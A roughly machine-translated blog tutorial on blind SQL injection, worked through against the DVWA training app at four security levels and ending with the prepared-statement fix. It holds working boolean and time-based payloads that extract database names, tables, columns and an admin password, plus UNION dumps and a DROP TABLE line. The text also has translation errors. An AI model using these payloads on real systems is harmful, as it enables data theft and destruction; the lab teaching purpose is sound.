[Network Security] SQL Blind Injection - DVWA's SQL Injection Blind Attack Posture and Detailed Analysis of Problem Solving Collection
-
- What is blind SQL injection
- The main form of blind injection
- Common Payloads of SQL Blind Injection
- Low level
-
- source code
- Boolean Blind
- time blind
- Medium level
- High level
- Impossible level
- Summarize
What is blind SQL injection
SQL Injection (Blind) is a common security vulnerability that allows an attacker to execute malicious SQL queries into an application's database.
In a traditional SQL injection attack, the attacker can directly obtain the database error message or query result returned by the application, so as to know whether the malicious SQL statement they injected is effective. But in blind injection, the attacker cannot directly obtain this information, so it is called "blind injection".
In a blind injection attack, the attacker constructs a malicious injection statement and passes its input to the application for processing. The attacker then observes the application's response or other visible behavior to determine if the injection was successful, and further probes and exploits the data in the database.
The main form of blind injection
盲注的两种主要形式是:
-
Boolean-based Blind Injection (Boolean-based Blind Injection): By injecting conditional statements, the attacker exploits the judgment based on Boolean conditions in the application to obtain information about the contents of the database. An attacker can try different conditions and verify correctness based on the application's response. The page will return an error message
-
Time-based Blind Injection (Time-based Blind Injection): The attacker uses a delay function or calculates a time-consuming operation in the injection statement to
观察应用程序对恶意查询的处理时间
. By observing changes in response time, an attacker can gradually infer the data in the database. The page will not return any error message
Time-based blind injection usually uses some operations that may cause delays or errors, such as睡眠函数sleep()、错误的 SQL 语句或其他耗时的操作。
Common Payloads of SQL Blind Injection
Based on Boolean blind injection Payload:
id=1 AND (SELECT COUNT(*) FROM users) > 0
id=1 AND SUBSTRING((SELECT version()), 1, 1) = '5'
id=1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) = 97
id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='public') > 10
id=1 AND LENGTH((SELECT database())) = 6
Time-based blind injection Payload:
id=1; IF((SELECT COUNT(*) FROM users) > 0, SLEEP(5), NULL)
id=1; IF((SELECT ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1))) = 97, BENCHMARK(10000000, MD5('a')), NULL)
id=1; IF(EXISTS(SELECT * FROM information_schema.tables WHERE table_schema='public' AND table_name='users'), BENCHMARK(5000000, SHA1('a')), NULL)
id=1; IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users') = 5, SLEEP(2), NULL)
id=1; IF((SELECT SUM(LENGTH(username)) FROM users) > 20, BENCHMARK(3000000, MD5('a')), NULL)
The error is based on the blind injection Payload:
id=1 UNION ALL SELECT 1,2,table_name FROM information_schema.tables
id=1 UNION ALL SELECT 1,2,column_name FROM information_schema.columns WHERE table_name='users'
id=1 UNION ALL SELECT username,password,3 FROM users
id=1'; SELECT * FROM users WHERE username='admin' --
id=1'; DROP TABLE users; --
This article uses Boolean blind injection and time blind injection combined with DVWA's SQL Injection Blind for example explanation
因知识点较多且姿势复杂,致使篇幅过长,请读者耐心学习。
Low level
source code
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
The main logic of the code is as follows:
-
First, the code checks to see if a GET request parameter named "Submit" was received to determine if the user submitted the form.
-
If the form is submitted, get the ID entered by the user and set the "exists" variable to false.
-
Depending on the configured database type (it can be MySQL or SQLite), the code will construct different query statements.
-
For the MySQL database, the code executes the query using the mysqli library and checks whether the result is empty.
-
For SQLite databases, the code executes the query using the sqlite3 library and checks that the returned result is non-null.
-
If the query result is not empty, set the "exists" variable to true, indicating that the user ID exists in the database.
-
If the "exists" variable is true, the message "User ID exists in the database." is displayed.
-
If the "exists" variable is false, a 404 Not Found error header is sent and a "User ID is MISSING from the database." message is displayed.
When constructing the SQL query statement, the program directly uses the ID entered by the user without any validation or filtering. It is therefore possible to execute arbitrary SQL queries by entering malicious IDs.
Boolean Blind
Determine the type of injection
Input 1' or 1=1#
, echo: User ID exists in the database.
Input 1' or 1=2#
, echo: User ID is MISSING from the database.
It indicates that the injection type is character blind injection
. Guess the backend statement is:
SELECT first_name, last_name FROM users WHERE user_id = '参数';
Get the database name
Determine the length of the database name
Use length函数
to determine the database name length
Construct the POC as follows:
1' and length(database())>20 #
//判断数据库名称长度是否大于20
length()
is a common SQL function used to calculate the length of a string. It can be used with different database systems (such as MySQL, SQLite, Oracle, etc.).
The general syntax of this function is:
LENGTH(string)
where string
is the string or column name whose length needs to be calculated.
For example, in MySQL, you can use length()
the function to calculate the length of a string as follows:
SELECT length('Hello World'); -- 输出 11
SELECT length(column_name) FROM table_name; -- 计算表中某一列的长度
The echo is as follows:
It shows that the length of the database name is less than 20, so dichotomy thinking is used for judgment.
If you don't understand dichotomy, you can refer to: Baidu Encyclopedia: Dichotomy thinking and application
Construct the POC as follows:
1' and length(database())>10 #
//判断数据库名称长度是否大于10
The echo is as follows:
It shows that the length of the database name is less than 10, and after repeated attempts, the length of the database name is 4:
Get database name composition
1' and ascii(substr(database(),1,1))>20 #
ascii(substr(database(),1,1)) is a function expression that extracts the first character of the database name and obtains its ASCII value.
substr(database(),1,1) means to extract a character from the database name, and the parameter 1,1 means that the extraction position is 1 and the length is 1.
>用于判断左侧的值是否大于右侧的值
It can be seen from the echo that the ASCII code of the first character of the database name is greater than 20
1' and ascii(substr(database(),1,1))<101 #
//经测试 回显exist
1' and ascii(substr(database(),1,1))>100 #
//经测试 回显exist
Therefore, the ASCII code of the first character of the database name is 100, namelyd
Similarly, the ASCII values of the second character, the third character, and the fourth character can be inferred
1' and ascii(substr(database(),2,1)) 判断表达式 #
1' and ascii(substr(database(),3,1)) 判断表达式 #
1' and ascii(substr(database(),4,1)) 判断表达式 #
get the database name asdvwa
get table name
由于一个数据库可能存在多个表名,故先判断表个数。
Judgment table number
Construct the POC as follows:
1' and (select count(table_name) from information_schema.tables where table_schema=database()) <10#
count(table_name) is an aggregate function used to count the number of rows (that is, the number of tables) that meet a certain condition.
The echo is as follows:
After continuous testing, the number of tables is2
Get table name length
Determine the length of the first table name
Construct the POC as follows:
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) > 10 #
(select table_name from information_schema.tables where table_schema=database() limit 0,1) is a subquery to select the first table name from the information schema.
limit 0,1 is used to limit returning only the first result.
length(…) returns the length of the extracted string.
The echo is as follows:
Constantly test that the length of the first table name is9
Similarly, the length of the second table name obtained from the following statement is5
1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1)) =5 #
limit 1,1 is used to limit only the second result to be returned
Get table name composition
Determine the composition of the first table name
Construct the POC as follows:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 is a subquery to compare the ASCII value of the first character of the first table name in the database.
select table_name from information_schema.tables where table_schema=database() limit 0,1 is a subquery to get the first table name in the database from the information schema.
substr(…,1,1) is used to extract the first character of the string.
ascii(…) is a function that gets the ASCII value of a given character.
The echo is as follows:
After continuous testing, the statement returns exists:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #
Similarly, the ASCII values of the second character, the third character to the ninth character can be inferred
//第二个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))判断表达式 #
//第三个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))判断表达式 #
//第四个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))判断表达式 #
//以此类推
Eventually reaching the first table name to form guestbook
Determine the composition of the second table name
It is known from the above that the length of the second table name is5
As above, judge the composition of the second table name:
//第一个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))判断表达式 #
//第二个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))判断表达式 #
//第三个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))判断表达式 #
As shown in the figure below, the first character isu
You end up with a second table name consisting ofusers
get column names
表中可能存在多列,故先获取列数。
Get the number of columns
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='表名')判断表达式 #
Take for users表
example
enter:
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
Echo exists, indicating that users
the table has 8
columns
Get the column name length
//判断第一个列名长度
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))判断表达式 #
//判断第二个列名长度
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))判断表达式 #
From the figure above, we can see that the length of the first column name is7
Get the character composition of the column name
//获取 users 表中第一个列名的第一个字符
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))判断表达式 #
//获取 users 表中第二个列名的第一个字符
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),1,1))判断表达式 #
//获取 users 表中第三个列名的第一个字符
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),1,1))判断表达式 #
//获取 users 表中第三个列名的第二个字符
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),2,1))判断表达式 #
//获取 users 表中第三个列名的第三个字符
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),3,1))判断表达式 #
As can be seen from the figure above, the first character of the first column name in users
the table isu
get field
It is not difficult to get from the above that one of the columns in users
the table is nameduser
Get field length
//获取列中第一个字段长度
1' and length(substr((select user from users limit 0,1),1))判断表达式 #
//获取列中第二个字段长度
1' and length(substr((select user from users limit 1,1),1))判断表达式 #
From the figure above, the length of the first field can be obtained as5
get field
//获取第一个字段的第一个字符
1' and ascii(substr((select user from users limit 0,1),1,1))判断表达式 #
//获取第一个字段的第二个字符
1' and ascii(substr((select user from users limit 0,1),2,1))判断表达式 #
//获取第二个字段的第一个字符
1' and ascii(substr((select user from users limit 1,1),1,1))判断表达式 #
//获取第二个字段的第二个字符
1' and ascii(substr((select user from users limit 1,1),2,1))判断表达式 #
//以此类推
As shown in the figure below, the first character of the first field isa
So far, the detailed analysis of the Boolean blind injection attack posture and problem solving of SQL has been completed, and then the time blind injection is analyzed.
time blind
Determine the type of injection
enter
1' and sleep(5) #
Discovery time delay
enter
1 and sleep(5) #
The time has not been delayed, indicating that no closing single quotation mark will cause a statement error,
so the backend is a single quotation mark character query
Get the database name
Determine the length of the database name
enter
1' and if(length(database())=1,sleep(5),1)
if(expr1,expr2,expr3)函数:
If expr1 is TRUE, the return value of if() is expr2; otherwise, the return value is expr3.
if() returns a numeric value or a string value
After entering the above statement, the page is not delayed, indicating length(database())=1
that it is false
1' and if(length(database())=2,sleep(5),1) # 没有延迟
1' and if(length(database())=3,sleep(5),1) # 没有延迟
1' and if(length(database())=4,sleep(5),1) # 明显延迟
Indicates that the database name length is4
Determine the composition of the database name
To judge the first character, enter
1' and if(ascii(substr(database(),1,1))>90,sleep(5),1)#
The page delay is obvious, indicating that the ASCII value of the first character is greater than 90
enter
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
The page delay is obvious, indicating that the first character isd
in the same way
//判断第二个字符
1' and if(ascii(substr(database(),2,1))判断表达式,sleep(5),1)#
//判断第三个字符
1' and if(ascii(substr(database(),3,1))判断表达式,sleep(5),1)#
//判断第四个字符
1' and if(ascii(substr(database(),4,1))判断表达式,sleep(5),1)#
Finally, the database nameddvwa
get table name
由于一个数据库可能有多个表,故先判断表个数。
Judgment table number
enter
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)
The page delay is obvious, indicating that the number of tables is2
Get table name length
Get the first table name length:
enter
1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9,sleep(5),1) #
The delay is obvious, indicating that the length of the first table name is9
in the same way
1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5,sleep(5),1) #
The second table name length is5
Get table name composition
Take the name composition of the first table as an example:
Enter the following statement to get the first character of the first table name:
1' and (select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema = 'dvwa' limit 1) >= 100 and sleep(5)#
The page delay is obvious, indicating that the ASCII value of the first character is greater than or equal to 100
1' and (select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema = 'dvwa' limit 1) = 103 and sleep(5)#
The delay is noticeable, indicating that the first character of the first table name isg
//获得第一个表名称的第二个字符
1' and (select ascii(substr(table_name, 2, 1)) from information_schema.tables where table_schema = 'dvwa' limit 1)判断表达式 and sleep(5)#
//获得第一个表名称的第三个字符
1' and (select ascii(substr(table_name, 3, 1)) from information_schema.tables where table_schema = 'dvwa' limit 1)判断表达式 and sleep(5)#
and end up with the first table name asguestbook
//获得第二个表名称的第一个字符
1' and (select ascii(substr(table_name, 1, 1)) from (select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1) as second_table limit 1) 判断表达式 and sleep(5)#
//获得第二个表名称的第二个字符
1' and (select ascii(substr(table_name, 2, 1)) from (select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1) as second_table limit 1) 判断表达式 and sleep(5)#
//获得第二个表名称的第三个字符
1' and (select ascii(substr(table_name, 3, 1)) from (select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1) as second_table limit 1) 判断表达式 and sleep(5)#
//以此类推
get column names
表中可能存在多列,故先获取列数。
Get the number of columns
Take guestbook
the table as an example
enter
1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name= 'guestbook')=3,sleep(5),1) #
The delay is obvious, indicating that the number of columns is3
Get the column name length
Get the length of the first column name
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'guestbook' limit 0,1),1))判断表达式,sleep(5),1) #
enter:
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'guestbook' limit 0,1),1))=10,sleep(5),1) #
The delay is obvious, indicating that the length of the first column name is10
//获取第二列名称长度
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'guestbook' limit 1,1),1))判断表达式,sleep(5),1) #
Get the character composition of the column name
Take guestbook
the table as an example
Get the first character of the first column name
1' and if((select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'guestbook' limit 0,1) = 判断表达式, sleep(5), 1) #
It is verified that the ASCII value of the first character of the first column name is 99
, i.e.c
//获取第一个列名的第二个字符
1' and if((select ascii(substr(column_name, 2, 1)) from information_schema.columns where table_name = 'guestbook' limit 0,1) = 判断表达式, sleep(5), 1) #
//获取第一个列名的第三个字符
1' and if((select ascii(substr(column_name, 3, 1)) from information_schema.columns where table_name = 'guestbook' limit 0,1) = 判断表达式, sleep(5), 1) #
//获取第二个列名的第一个字符
1' and if((select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'guestbook' limit 1,1) = ASCII_VALUE, sleep(5), 1) #
//获取第二个列名的第二个字符
1' and if((select ascii(substr(column_name, 2, 1)) from information_schema.columns where table_name = 'guestbook' limit 1,1) = ASCII_VALUE, sleep(5), 1) #
//获取第二个列名的第三个字符
1' and if((select ascii(substr(column_name, 3, 1)) from information_schema.columns where table_name = 'guestbook' limit 1,1) = ASCII_VALUE, sleep(5), 1) #
//获取第三个列名的第一个字符
1' and if((select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'guestbook' limit 2,1) = ASCII_VALUE, sleep(5), 1) #
get field
users
Take user
the column names of the table as an example
Get the first character of the first field of user
the column name
1' and if((select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name = 'users' limit 0,1)判断表达式, sleep(5), 1) #
enter:
1' and if((select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name = 'users' limit 0,1)=117, sleep(5), 1) #
The delay is obvious, indicating that the first character of the first field of user
the column name isu
//获取 user 列名的第一个字段的第二个字符
1' and if((select ascii(substring(column_name, 2, 1)) from information_schema.columns where table_name = 'users' limit 0,1)判断表达式, sleep(5), 1) #
//获取 user 列名的第一个字段的第三个字符
1' and if((select ascii(substring(column_name, 3, 1)) from information_schema.columns where table_name = 'users' limit 0,1)判断表达式, sleep(5), 1) #
------------
//获取 user 列名的第二个字段的第一个字符
1' and if((SELECT ASCII(SUBSTRING(column_name, 1, 1)) FROM information_schema.columns WHERE table_name = 'users' LIMIT 1, 1)判断表达式, sleep(5), 1) #
//获取 user 列名的第二个字段的第二个字符
1' and if((SELECT ASCII(SUBSTRING(column_name, 2, 1)) FROM information_schema.columns WHERE table_name = 'users' LIMIT 1, 1)判断表达式, sleep(5), 1) #
//获取 user 列名的第二个字段的第三个字符
1' and if((select ascii(substring(column_name, 3, 1)) from information_schema.columns where table_name = 'users' limit 1,1)判断表达式, sleep(5), 1) #
Since then, the detailed analysis of SQL time blind attack posture and problem solving has been completed.
Medium level
source code
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
code audit
-
First, the code checks to see if there is a form submission named Submit. If present, the user has submitted the form data.
-
Next, the code takes the ID entered by the user and saves it
$id
in . -
The code performs different query operations according to the configured database type through the switch statement. Two database types are included here: MYSQL and SQLITE.
-
For the MYSQL database type, the code first escapes the input ID, and uses
mysqli_real_escape_string
the function escape special characters in the string, including single quotation marks. Then, build a query that retrieves the "first_name" and "last_name" fields of records with a matching "user_id" from the table named "users". Query statements are stored in$query
variables . -
The code executes the query using
mysqli_query
the function and saves the result$result
in the variable . -
If the query result is not false, try to get the row count of the query result and
$exists
set to true, indicating that there is a user record in the database matching the provided ID. -
For the SQLITE database type, the code uses the global variable
$sqlite_db_connection
to connect to the SQLite database. Then, perform a query operation similar to MYSQL and save the result$results
in . -
Finally, provide feedback to the end user based on the value
$exists
of .$exists
If true, "User ID exists in the database." is displayed, otherwise "User ID is MISSING from the database." is displayed.
attacking pose
Capture packets:
Since characters like single quotes are escaped, consider 数字型注入
either宽字节注入
POST: Submit=Submit & id=1 and 1=1 #
Note: If the id test is placed before &, # will comment Submit, which will not achieve the effect of POST submission
echo exists
POST:Submit=Submit & id=1 and 1=2 #
The echo of Missing
indicates that the injection type is 数字型盲注
guessed as the backend statement:
SELECT first_name, last_name FROM users WHERE user_id = 参数;
The subsequent steps are the same as the Low level , which Burp
can be used for testing Hackbar
or penetration attacks, so this article will not repeat them.
High level
source code
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
code audit
-
First, the code checks to see if the user provided an ID by checking for the existence of a cookie named "id".
-
Next, the
$id = $_COOKIE['id'];
code saves the user-supplied ID$id
into a variable using . -
The code defines a Boolean variable
$exists
to indicate whether the ID exists in the database, initialized tofalse
. -
Depending on the database type (MySQL or SQLite) specified in the configuration file, the code will execute different database queries.
-
For the MySQL database, the code constructs a query statement
$query
by inserting the ID provided by the user into the query statement. Then, usemysqli_query()
the function to execute the query and save the result$result
in the variable . -
If the query result is not
false
, try to get the number of rows of the query result, and$exists
set to whether the number of rows is greater than 0. Get the number of rows in the result set viamysqli_num_rows()
the function and compare the result to 0. -
For SQLite databases, the code first gets the global variable
$sqlite_db_connection
, which is an SQLite database connection object. Then, build a query statement$query
and query by inserting the ID provided by the user into the query statement. Next, use$sqlite_db_connection->query($query)
to execute the query and save the result to the variable$results
. Finally, set the boolean variable by checking$row
if is .false
$exists
-
If
$exists
it istrue
, print out the prompt information of “User ID exists in the database.”. -
If
$exists
yesfalse
, then depending on the logic of your code,sleep()
the function to suspend execution for a random amount of time. Used to prevent time blind injection Then, set the HTTP response header to "404 Not Found" and print out the prompt message "User ID is MISSING from the database.".
attacking pose
As can be seen from the above two figures, the injection type is character SQL blind injection
The injection posture is the same as above and will not be repeated here.
Attached below:
Determine the length of the database name:
Judgment table number:
Impossible level
source code
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$exists = false;
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$exists = $data->rowCount();
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 1) {
$row = $result->fetchArray();
$numrows = $row[ 'numrows' ];
$exists = ($numrows == 1);
}
}
break;
}
}
// Get results
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
code audit
-
First, the code checks to see if the form has been submitted by checking for a GET parameter named "Submit".
-
Next, the code calls
checkToken()
the function to validate the anti-CSRF token. The$_REQUEST['user_token']
function$_SESSION['session_token']
compares the values of and to ensure that the request is legitimate. 'index.php' is the reference value passed when generating the token. -
The code then initializes
exists
the variable tofalse
, which is used to record whether the ID exists in the database. -
Obtain the ID entered by the user
$_GET['id']
through . -
Use
is_numeric()
the function to check if the ID entered by the user is a number. If it is a number, it is converted to an integer type (usingintval()
the function ), and processed further. -
Depending on the database type (for example, MySQL or SQLite) defined in the configuration file, the code executes different queries according to the corresponding database type.
-
For MySQL databases, the code uses Prepared Statements to execute queries. First, prepare the query statement using
prepare()
the function , where:id
is a placeholder. Then, usebindParam()
the function to bind the real ID value to the placeholder, and specify the type of the parameter as an integer. Finally, callexecute()
the function to execute the query, and userowCount()
the function to get the number of rows in the result set. -
For the SQLite database, the code first obtains the global variable
$sqlite_db_connection
, which is an SQLite database connection object. Then, prepare the query statement usingprepare()
the function , where:id
is a placeholder. Next, usebindValue()
the function to bind the real ID value to the placeholder, and specify the type of the parameter as an SQLite integer. Then, callexecute()
the function to execute the query, andfetchArray()
get the result array through the function. Finally, determine whether there is a matching record by comparing the values in the resulting array. -
If there is a record that meets the conditions (ie
$exists
istrue
), the prompt message "User ID exists in the database." will be printed out. -
If there is no eligible record (that is,
$exists
isfalse
), set the HTTP response header to "404 Not Found" and print out the prompt message "User ID is MISSING from the database.". -
Finally, the code calls
generateSessionToken()
the function to generate a new anti-CSRF token for the next request.
This code validates the CSRF token, checks and converts the ID entered by the user, uses the is_numeric() function to perform basic validation of the user input, and effectively prevents SQL injection attacks.
Summarize
In this article, we delved into theThe concept of SQL blind injection attack、principleandCommon Injection Payload Examples. Combined with DVWA靶场SQL Injection (Blind)模块
the analysis of ideas and detailed explanations of attacking postures . SQL blind injection attack is a relatively complex penetration posture, and readers are expected to practice it.
I am Qiu said , see you next time.